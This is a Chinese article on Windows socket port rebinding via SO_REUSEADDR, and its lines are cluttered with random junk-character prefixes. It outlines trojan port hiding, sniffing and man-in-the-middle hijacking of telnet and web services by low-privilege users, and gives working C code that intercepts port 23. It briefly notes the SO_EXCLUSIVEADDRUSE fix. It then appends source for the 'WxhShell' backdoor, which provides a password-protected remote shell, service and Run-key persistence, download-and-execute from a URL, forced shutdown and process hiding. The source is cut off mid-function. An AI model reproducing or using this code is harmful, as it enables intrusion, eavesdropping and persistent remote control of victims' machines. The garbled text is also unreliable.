在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p2Dh3)& s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:>P4L,Da] 8Q^6ibE saddr.sin_family = AF_INET;
*,W!FxJ c/<Sa|' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$"sq4@N R81{<q'%X bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5@+4 =& q-[JW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
f2O*8^^Y{Q zNV!@Yr 这意味着什么?意味着可以进行如下的攻击:
?E+:]j_ M[YTk=IM# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
QE45!Zg b W=.K>| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3!.H^v?
&o*s !u 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[lNqT1%] MX!u$ei 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Pt6hGSo. EjR_-8@FK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
CxbSj, *GbVMW[A> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
I*A0?{ 3Q'[Ee2-3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~A`&/U HzRX$IKB3( #include
O{k89{ #include
[=F>#8= #include
gppBFS #include
bp]^EVx DWORD WINAPI ClientThread(LPVOID lpParam);
t&GA6ML#s int main()
9VoDhsKk {
`z|=~ WORD wVersionRequested;
pk-yj~F } DWORD ret;
r}/yi WSADATA wsaData;
;wij}y-6 BOOL val;
Em e'Gk SOCKADDR_IN saddr;
Sl3KpZ SOCKADDR_IN scaddr;
[3O^0-:6E int err;
$Wit17j SOCKET s;
0U82f1ei SOCKET sc;
cGgM8 int caddsize;
}>MP{67Dm HANDLE mt;
tcBC!_vF DWORD tid;
xS6(K wVersionRequested = MAKEWORD( 2, 2 );
aO8ch err = WSAStartup( wVersionRequested, &wsaData );
]y3pE}R if ( err != 0 ) {
vkd[:CC printf("error!WSAStartup failed!\n");
B4]AFRI return -1;
m#oh?@0} }
)W&o?VRfO saddr.sin_family = AF_INET;
xGYSi5}z EY+/.=$x //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
_W)`cr 4$yV%[j saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-1qZqU$h saddr.sin_port = htons(23);
qqnclqkw& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hi!L\yi {
m7$8k@r printf("error!socket failed!\n");
A2m_q>>
! return -1;
P^ptsZ% }
wL 4ZW8_ val = TRUE;
3/X-Cr+d //SO_REUSEADDR选项就是可以实现端口重绑定的
`J72+ RA if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
wgCvD {
)O,wRd>5 printf("error!setsockopt failed!\n");
CF]i}xpWV return -1;
>(hSW~i~ }
N>+ P WE$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
S8
:"<B) //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
&J8Z@^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
uxWFM
$ V,V*30K5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
a%Uw;6|{ {
41u*w2j ret=GetLastError();
1hl]W+9 printf("error!bind failed!\n");
<0CzB"Ap return -1;
#EJhAJ }
fJaubDxa listen(s,2);
J.#(gFBBl\ while(1)
]b 3/Es+ {
{vs 4vS6 caddsize = sizeof(scaddr);
C\
tprnY //接受连接请求
l^.K'Q1~a sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$tI]rU if(sc!=INVALID_SOCKET)
XC=%H'p {
Y[2Wt%2\6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
m23+kj)+VY if(mt==NULL)
g3Z:{@m {
vu=me?m?( printf("Thread Creat Failed!\n");
_w 5RK( break;
J , V }
pgT9hle/ }
t)` p@]j CloseHandle(mt);
m9Ax\lf }
?AEd(_a!q closesocket(s);
-;^;2#](g WSACleanup();
j`O7=- return 0;
OB(pIzSe }
+ :V rip DWORD WINAPI ClientThread(LPVOID lpParam)
/D<"wF }@J {
_5mc(' SOCKET ss = (SOCKET)lpParam;
P}0*{%jB SOCKET sc;
F*M|<E= unsigned char buf[4096];
moMYdArj SOCKADDR_IN saddr;
>&OUGu| long num;
:p' VbQZ{ DWORD val;
%%>_B2vc DWORD ret;
D3`}4 A //如果是隐藏端口应用的话,可以在此处加一些判断
P.djd$# //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
QdQd(4/1 saddr.sin_family = AF_INET;
f;gZ|a saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'Gjq/L/x saddr.sin_port = htons(23);
9}5K6aQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
QYQtMb, {
#O~XVuvF0 printf("error!socket failed!\n");
SVagT'BB return -1;
H6gU?9% }
'_dzcN,z val = 100;
~]BMrgn if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ZsZcQj6G, {
BYi)j6" ret = GetLastError();
UNDi_6Dy return -1;
XF}rd.K: }
#]9hTa IR if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9AHSs,.t {
- hzjV| ret = GetLastError();
f6!D L< return -1;
ahJ1n< }
MxOD8TDF4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2| B[tt1Z {
>E:<E'L printf("error!socket connect failed!\n");
eWvo,4 closesocket(sc);
MAqLIf<G closesocket(ss);
QV qK return -1;
'7*=`q{
}
aQ#qRkI while(1)
S:q$?$ {
[3N[i(Wlk //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
/RT%0! //如果是嗅探内容的话,可以再此处进行内容分析和记录
<*|?x86~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#`;/KNp 9 num = recv(ss,buf,4096,0);
WZZ4]cC if(num>0)
iWE)<h send(sc,buf,num,0);
-Xz&}QA else if(num==0)
5l DFp9 break;
RKZ6}q1n num = recv(sc,buf,4096,0);
x0Yse:RE^ if(num>0)
mM/i^zT send(ss,buf,num,0);
|.P/:e9 else if(num==0)
Fl3#D7K break;
}CDk9Xk }
W0XF~ closesocket(ss);
Q7gY3flg closesocket(sc);
9!U@"~yB return 0 ;
6Pn8f }
p'n4)I2# 4v'A\~ZU %UZVb V ==========================================================
^j )BKD- '9?;"=6( 下边附上一个代码,,WXhSHELL
EE=3 s%pfkoOY% ==========================================================
] asBd" N^w'Hw0 #include "stdafx.h"
1tMQqI`N re &E{ #include <stdio.h>
1l8Etp&< #include <string.h>
wmU0E/{9] #include <windows.h>
xSK~s #include <winsock2.h>
[xb]Wf #include <winsvc.h>
p?X02
>yA #include <urlmon.h>
%ZP+zhn} QHt4",Ij #pragma comment (lib, "Ws2_32.lib")
J*fBZ.NO #pragma comment (lib, "urlmon.lib")
ILwn&[A0 &<pKx! #define MAX_USER 100 // 最大客户端连接数
a j\nrD1 #define BUF_SOCK 200 // sock buffer
=~KsS}`1, #define KEY_BUFF 255 // 输入 buffer
^pnG0(9 Avlz=k1* #define REBOOT 0 // 重启
wnLi2k/Dt< #define SHUTDOWN 1 // 关机
m-/j1GZ* qTQ!jN #define DEF_PORT 5000 // 监听端口
r\`+R" Jb["4X;h #define REG_LEN 16 // 注册表键长度
H ?M/mGP #define SVC_LEN 80 // NT服务名长度
a4i:| &PWB,BXv // 从dll定义API
>q~l21dUi typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
,Gk}"w typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Q,h7Sk* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
C1EtoOv K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
76cG90!Z X+k}2HvNG // wxhshell配置信息
8ho[I] struct WSCFG {
1xE]6he4{T int ws_port; // 监听端口
Mg,:UC: char ws_passstr[REG_LEN]; // 口令
dq1:s1 int ws_autoins; // 安装标记, 1=yes 0=no
#-% A[7Cdp char ws_regname[REG_LEN]; // 注册表键名
JPn$FQD char ws_svcname[REG_LEN]; // 服务名
(b,[C\RBF char ws_svcdisp[SVC_LEN]; // 服务显示名
W5L iXM char ws_svcdesc[SVC_LEN]; // 服务描述信息
t*<#<a char ws_passmsg[SVC_LEN]; // 密码输入提示信息
I zbU)ud int ws_downexe; // 下载执行标记, 1=yes 0=no
eM7Bc4V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
`#-P[q<v- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
fFvF\ CzCQFqXI };
6]zd.W =qy=-j] // default Wxhshell configuration
wCf~O'XLw struct WSCFG wscfg={DEF_PORT,
{O<l[|Ip "xuhuanlingzhe",
C:8_m1Y{ 1,
c#IYFTz "Wxhshell",
b1XRC`Gy "Wxhshell",
PQKaqv}N "WxhShell Service",
.`<@m]m- "Wrsky Windows CmdShell Service",
SUKxkc( "Please Input Your Password: ",
)Or.; 1,
:'F}Dy "
http://www.wrsky.com/wxhshell.exe",
klgy;jSEr "Wxhshell.exe"
!+)AeDc:j };
z@Q@^
&0Mr G$0c'9d*( // 消息定义模块
,j:|w+l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
v[plT2"s char *msg_ws_prompt="\n\r? for help\n\r#>";
mGUO6>g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
OA/WtQ5 char *msg_ws_ext="\n\rExit.";
|tR
OL9b char *msg_ws_end="\n\rQuit.";
$D
v\
e char *msg_ws_boot="\n\rReboot...";
r_e7a6 char *msg_ws_poff="\n\rShutdown...";
=0;}K@(J char *msg_ws_down="\n\rSave to ";
uEyH2QO CC\*?BKj" char *msg_ws_err="\n\rErr!";
AcI,N~~ char *msg_ws_ok="\n\rOK!";
VvFC -r,=G l\M_-:I+4 char ExeFile[MAX_PATH];
VhjM>( int nUser = 0;
joKIrS0y HANDLE handles[MAX_USER];
r:&`$8$ int OsIsNt;
53-v|'9' ;zM*bWh9 SERVICE_STATUS serviceStatus;
1&;QyTN SERVICE_STATUS_HANDLE hServiceStatusHandle;
-[U1]R wn_b[tdxq // 函数声明
x8\A<(G_M= int Install(void);
PHA-9\jC{ int Uninstall(void);
?pgG,=? int DownloadFile(char *sURL, SOCKET wsh);
w.,Q1\*rPp int Boot(int flag);
+aF}oA&X[ void HideProc(void);
oAWzYu(v int GetOsVer(void);
O=SkAsim int Wxhshell(SOCKET wsl);
wC `+ void TalkWithClient(void *cs);
/ kt2c[9 int CmdShell(SOCKET sock);
`(A5f71MfM int StartFromService(void);
PP:(EN1 int StartWxhshell(LPSTR lpCmdLine);
J!'@ Bd $zB[B;-!$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
MlLb|!,)T VOID WINAPI NTServiceHandler( DWORD fdwControl );
|FD }e) /Q~gU< // 数据结构和表定义
A,r*%&4~ SERVICE_TABLE_ENTRY DispatchTable[] =
vad12WrG< {
moP,B~ {wscfg.ws_svcname, NTServiceMain},
pv^O"Bs {NULL, NULL}
/Uo
y/}! };
"4vy lHIo Dfq(Iv // 自我安装
Hwo$tVa:= int Install(void)
T3`ludm^u {
tmqY2. char svExeFile[MAX_PATH];
/mp*>sNr6 HKEY key;
(JM4R8fR& strcpy(svExeFile,ExeFile);
1hcjSO )M__
t5L // 如果是win9x系统,修改注册表设为自启动
.U T@p if(!OsIsNt) {
8]&i-VFof if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u%~igt@x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+cD!1IT: RegCloseKey(key);
6N)!aT9eo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3O7!`Nm@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7 ^w >Rj RegCloseKey(key);
pABs!A`N return 0;
!Hys3AP }
+la2n(CAK }
pv&y91 }
P(t[
eXe else {
h6} lpd pZtu&R%GU // 如果是NT以上系统,安装为系统服务
ew"v{=X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
e9Nk3Sj] if (schSCManager!=0)
F<!)4>2@ {
/4xki_} SC_HANDLE schService = CreateService
X/N0LU(q (
4.IU!.Uo schSCManager,
Bdj%hyW wscfg.ws_svcname,
5Hcf;P7 wscfg.ws_svcdisp,
#!)n
{h+ SERVICE_ALL_ACCESS,
MNSbtT*^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|=&cQRY!p SERVICE_AUTO_START,
>3c@x SERVICE_ERROR_NORMAL,
cI=(\pC svExeFile,
LVJxn2x6 NULL,
A^p[52` NULL,
|g==" NULL,
}d<}FJ-, NULL,
ve\X3"p# NULL
1UKg=A-q );
F^hBtfz if (schService!=0)
OK\A</8r {
w:
>5=mfk CloseServiceHandle(schService);
cK 06]-Y CloseServiceHandle(schSCManager);
=b/L?dR.- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-&<Whhs.@ strcat(svExeFile,wscfg.ws_svcname);
A<W6=5h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?2>FdtH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
B, 9w0 RegCloseKey(key);
'Y]mOD^p return 0;
NMA}Q$o
s }
jAud {m*T }
9;veuX#( CloseServiceHandle(schSCManager);
1AU#%wIEP }
wQRZ"ri, }
L:9F:/G 6oBfB8]:d return 1;
?:w1je7 }
[o?*"c 9]e V?yoA8 // 自我卸载
bR V+>;L0@ int Uninstall(void)
@'|)~,"bx {
zToq^T HKEY key;
l&[;rh C*`mM'# if(!OsIsNt) {
0Q^Ikiv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
CxfRVL`7 RegDeleteValue(key,wscfg.ws_regname);
A\#iXOd RegCloseKey(key);
Aj0Tfdxy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sVl-N&/ RegDeleteValue(key,wscfg.ws_regname);
VZ\B<i RegCloseKey(key);
A,`8#-AX return 0;
Qci4J }
i F+vl] }
=KR
NvW }
f aLtdQi else {
b?Ki;[+O Mb]rY>B4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ahPoEh if (schSCManager!=0)
#y%!\1M/:A {
:hM/f SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(7 r<'' if (schService!=0)
E<c9#I= {
HcqfB NM if(DeleteService(schService)!=0) {
lIProF0 CloseServiceHandle(schService);
Jej` ;I CloseServiceHandle(schSCManager);
0lv%`, return 0;
AGbhJ=tB }
F}=aBV|- CloseServiceHandle(schService);
##4GK08! }
l\s U CloseServiceHandle(schSCManager);
3JVK }
V<j.xd7 }
#H0dZ.$b0 u{*SX k return 1;
R~ZFy0 }
mL4] l(U KhMSL // 从指定url下载文件
_N@ro int DownloadFile(char *sURL, SOCKET wsh)
D#o}cC. {
2/0v B> HRESULT hr;
n-%s8aaVf char seps[]= "/";
APO>y char *token;
>hr{JJe char *file;
WH= EPOR, char myURL[MAX_PATH];
u&n'
ITH char myFILE[MAX_PATH];
uh?>-
]r` BN4_: strcpy(myURL,sURL);
IEzaK token=strtok(myURL,seps);
,L`$09\ while(token!=NULL)
p8]68!=W\F {
|Z*J/v'@p file=token;
}5(Ho$S( token=strtok(NULL,seps);
HTyLJe }
B~_d^` ~SnSEhE GetCurrentDirectory(MAX_PATH,myFILE);
7bV{Q355P strcat(myFILE, "\\");
/;utcc strcat(myFILE, file);
QI3Nc8t_2 send(wsh,myFILE,strlen(myFILE),0);
9J?wO9rI send(wsh,"...",3,0);
iURk=*Z= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Ck!VV2U# if(hr==S_OK)
+*hm-lv? return 0;
:Cp'm'omb else
Lg+G; W return 1;
4Z/Q=Mq2 G^`1]? }
-]t,E,(! >b]S3[Q( // 系统电源模块
t>[KVVg
W int Boot(int flag)
(4Zts0O\ {
/\WQxe HANDLE hToken;
<0PT"ij TOKEN_PRIVILEGES tkp;
7Ddaf> "1HRLci if(OsIsNt) {
wV^V]c ?U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
gR}35:$Z- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
uI DuGrt tkp.PrivilegeCount = 1;
G3{=@Z1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~R@Nd~L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)}_a
0bt if(flag==REBOOT) {
XQ~Ke-QW) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
(bh95X return 0;
pf_mf. }
T.qNCJmB else {
LK@lpkX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Jyqc2IH return 0;
#Z<a
}
6KOlY>m] }
1"e)5xI else {
mI>,.&eo if(flag==REBOOT) {
-P]sRl3O; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2[r^M'J return 0;
[Ts"OPb%~ }
hjQ~uqbg else {
I*`* Q$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8{Fsm;UsY return 0;
dH^ <t,v }
,-OCc!7K }
~fo6*g:f1 xQ'2BAEa return 1;
4sP2g&